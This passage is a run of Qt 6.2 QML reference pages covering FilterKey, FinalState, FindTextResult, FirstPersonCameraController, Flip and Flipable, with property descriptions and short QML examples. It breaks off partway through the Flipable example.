| `FilterElement.InList` |
| `FilterElement.And` |
| `FilterElement.Or` |
| `FilterElement.Cast` |
| `FilterElement.InView` |
| `FilterElement.OfType` |
| `FilterElement.RelatedTo` |
| `FilterElement.BitwiseAnd` |
| `FilterElement.BitwiseOr` |

 ###  secondOperand : variant

 Second operand to be used with the operator. This can be one of [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand), [AttributeOperand](qml-qtopcua-attributeoperand), [LiteralOperand](qml-qtopcua-literaloperand) or [ElementOperand](qml-qtopcua-elementoperand).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-filterelement.html>

FilterKey QML Type
==================

 Stores filter keys and their values. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QFilterKey](qt3drender-qfilterkey) |
|  Inherits: | [Node](qml-qt3d-core-node) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-filterkey-members.html)

 Properties
----------

 * **[name](qml-qt3d-render-filterkey#name-prop)** : string
* **[value](qml-qt3d-render-filterkey#value-prop)** : variant

 Detailed Description
--------------------

 A FilterKey is a storage type for filter key and value pair. Filter keys are used by Technique and [RenderPass](qml-qt3d-render-renderpass) to specify at which stage of rendering the technique or the render pass is used.

  **Note:** FilterKey node can not be disabled.

  Property Documentation
----------------------

 ###  name : [string](qml-string)

 Holds the name of the filter key.

 ###  value : variant

 Holds the value of the filter key.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-filterkey.html>

FinalState QML Type
===================

 Provides a final state. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml.StateMachine |
|  Since: |  Qt 5.4 |
|  Inherits: | [QAbstractState](qml-qtqml-statemachine-qabstractstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-statemachine-finalstate-members.html)

 Detailed Description
--------------------

 A final state is used to communicate that (part of) a [StateMachine](qml-qtqml-statemachine-statemachine) has finished its work. When a final top-level state is entered, the state machine's [finished](qml-qtqml-statemachine-state#finished-signal)() signal is emitted. In general, when a final substate (a child of a State) is entered, the parent state's [finished](qml-qtqml-statemachine-state#finished-signal)() signal is emitted. FinalState is part of [Qt State Machine QML API](qmlstatemachine-qml-guide)

 To use a final state, you create a FinalState object and add a transition to it from another state.

 Example Usage
-------------

 
```
import QtQuick
import QtQml.StateMachine as DSM

Rectangle {
    DSM.StateMachine {
        id: stateMachine
        initialState: state
        running: true
        DSM.State {
            id: state
            DSM.TimeoutTransition {
                targetState: finalState
                timeout: 200
            }
        }
        DSM.FinalState {
            id: finalState
        }
        onFinished: console.log("state finished")
    }
}
```
 **See also** [StateMachine](qml-qtqml-statemachine-statemachine) and [State](qml-qtqml-statemachine-state).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-statemachine-finalstate.html>

FindTextResult QML Type
=======================

 A utility type for encapsulating the result of a string search on a page. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtWebEngine |
|  Since: |  QtWebEngine 1.10 |
|  Instantiates: | [QWebEngineFindTextResult](qwebenginefindtextresult) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtwebengine-findtextresult-members.html)

 Properties
----------

 * **[activeMatch](qml-qtwebengine-findtextresult#activeMatch-prop)** : int
* **[numberOfMatches](qml-qtwebengine-findtextresult#numberOfMatches-prop)** : int

 Detailed Description
--------------------

 **See also** [WebEngineView::findTextFinished](qml-qtwebengine-webengineview#findTextFinished-signal)().

 Property Documentation
----------------------

 ###  [read-only] activeMatch : [int](qml-int)

 The index of the currently highlighted match.

 ###  [read-only] numberOfMatches : [int](qml-int)

 The number of matches found.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtwebengine-findtextresult.html>

FirstPersonCameraController QML Type
====================================

 The FirstPersonCameraController allows controlling the scene camera from the first person perspective. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Since: |  Qt 5.7 |
|  Inherits: | [Entity](qml-qt3d-core-entity) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-firstpersoncameracontroller-members.html)

 Properties
----------

 * **[acceleration](qml-qt3d-extras-firstpersoncameracontroller#acceleration-prop)** : real
* **[camera](qml-qt3d-extras-firstpersoncameracontroller#camera-prop)** : Camera
* **[deceleration](qml-qt3d-extras-firstpersoncameracontroller#deceleration-prop)** : real
* **[linearSpeed](qml-qt3d-extras-firstpersoncameracontroller#linearSpeed-prop)** : real
* **[lookSpeed](qml-qt3d-extras-firstpersoncameracontroller#lookSpeed-prop)** : real

 Detailed Description
--------------------

 The FirstPersonCameraController allows controlling the scene camera from the first person perspective.

 The controls are:

 

| Input | Action |
| --- | --- |
| Left mouse button | While the left mouse button is pressed, mouse movement along x-axis pans the camera and movement along y-axis tilts it. |
| Shift key | Turns the fine motion control active while pressed. Makes mouse pan and tilt less sensitive. |
| Arrow keys | Move the camera horizontally relative to camera viewport. |
| Page up and page down keys | Move the camera vertically relative to camera viewport. |

 Property Documentation
----------------------

 ###  acceleration : [real](qml-real)

 Holds the current acceleration. Specifies the rate at which the camera linear speed increases when a key is held. If the acceleration is negative, the linear speed stays constant. Defaults to -1.0.

 ###  camera : [Camera](qml-qt3d-render-camera)

 Holds the currently controlled camera.

 ###  deceleration : [real](qml-real)

 Specifies the rate at which the camera linear speed decreases when a key is released. If the deceleration is negative, the linear speed stays constant. Defaults to -1.0.

 ###  linearSpeed : [real](qml-real)

 Holds the current linear speed of the camera controller. Linear speed determines the movement speed of the camera.

 ###  lookSpeed : [real](qml-real)

 Holds the current look speed of the camera controller. The look speed determines the turn rate of the camera pan and tilt.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-firstpersoncameracontroller.html>

Flip QML Type
=============

 A scene flipping effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-flip-members.html)

 Properties
----------

 * **[flipHorizontally](qml-qtquick3d-effects-flip#flipHorizontally-prop)** : bool
* **[flipVertically](qml-qtquick3d-effects-flip#flipVertically-prop)** : bool

 Detailed Description
--------------------

 ![]


The Flip effect flips the whole scene either horizontally, vertically, or in both directions.

 Property Documentation
----------------------

 ###  flipHorizontally : [bool](qml-bool)

 This property determines whether the scene is flipped horizontally. The default value is `true`.

 ###  flipVertically : [bool](qml-bool)

 This property determines whether the scene is flipped vertically. The default value is `true`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-flip.html>

Flipable QML Type
=================

 Provides a surface that can be flipped. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-flipable-members.html)

 Properties
----------

 * **[back](qml-qtquick-flipable#back-prop)** : Item
* **[front](qml-qtquick-flipable#front-prop)** : Item
* **[side](qml-qtquick-flipable#side-prop)** : enumeration

 Detailed Description
--------------------

 Flipable is an item that can be visibly "flipped" between its front and back sides, like a card. It may used together with [Rotation](qml-qtquick-rotation), [State](qml-qtquick-state) and [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) types to produce a flipping effect.

 The [front](qml-qtquick-flipable#front-prop) and [back](qml-qtquick-flipable#back-prop) properties are used to hold the items that are shown respectively on the front and back sides of the flipable item.

 Example Usage
-------------

 The following example shows a Flipable item that flips whenever it is clicked, rotating about the y-axis.

 This flipable item has a `flipped` boolean property that is toggled whenever the [MouseArea](qml-qtquick-mousearea) within the flipable is clicked. When `flipped` is true, the item changes to the "back" state; in this state, the `angle` of the [Rotation](qml-qtquick-rotation) item is changed to 180 degrees to produce the flipping effect. When `flipped` is false, the item reverts to the default state, in which the `angle` value is 0.

 
```
import QtQuick 2.0

Flipable {
    id: flipable
    width: 240
    height: 240

    property bool flipped: false

    front: Image { source: "front.png"; anchors.centerIn: parent }
    back: Image { source: "back.png"; anchors.centerIn: parent }

    transform: Rotation {
        id: rotation
        origin.x: flipable.width/2
        origin.y: flipable.height/2
        axis.x: 0; axis.y: 1; axis.z: 0     // set axis.y to 1 to rotate around y-axis
        angle: 0    // the default angle
    }

    states: State {
        name: "back"
        PropertyChanges { target: rotation; angle: 180 }
        when: flip
[cell cut: 30,402,274 characters, first 4,193,889 kept]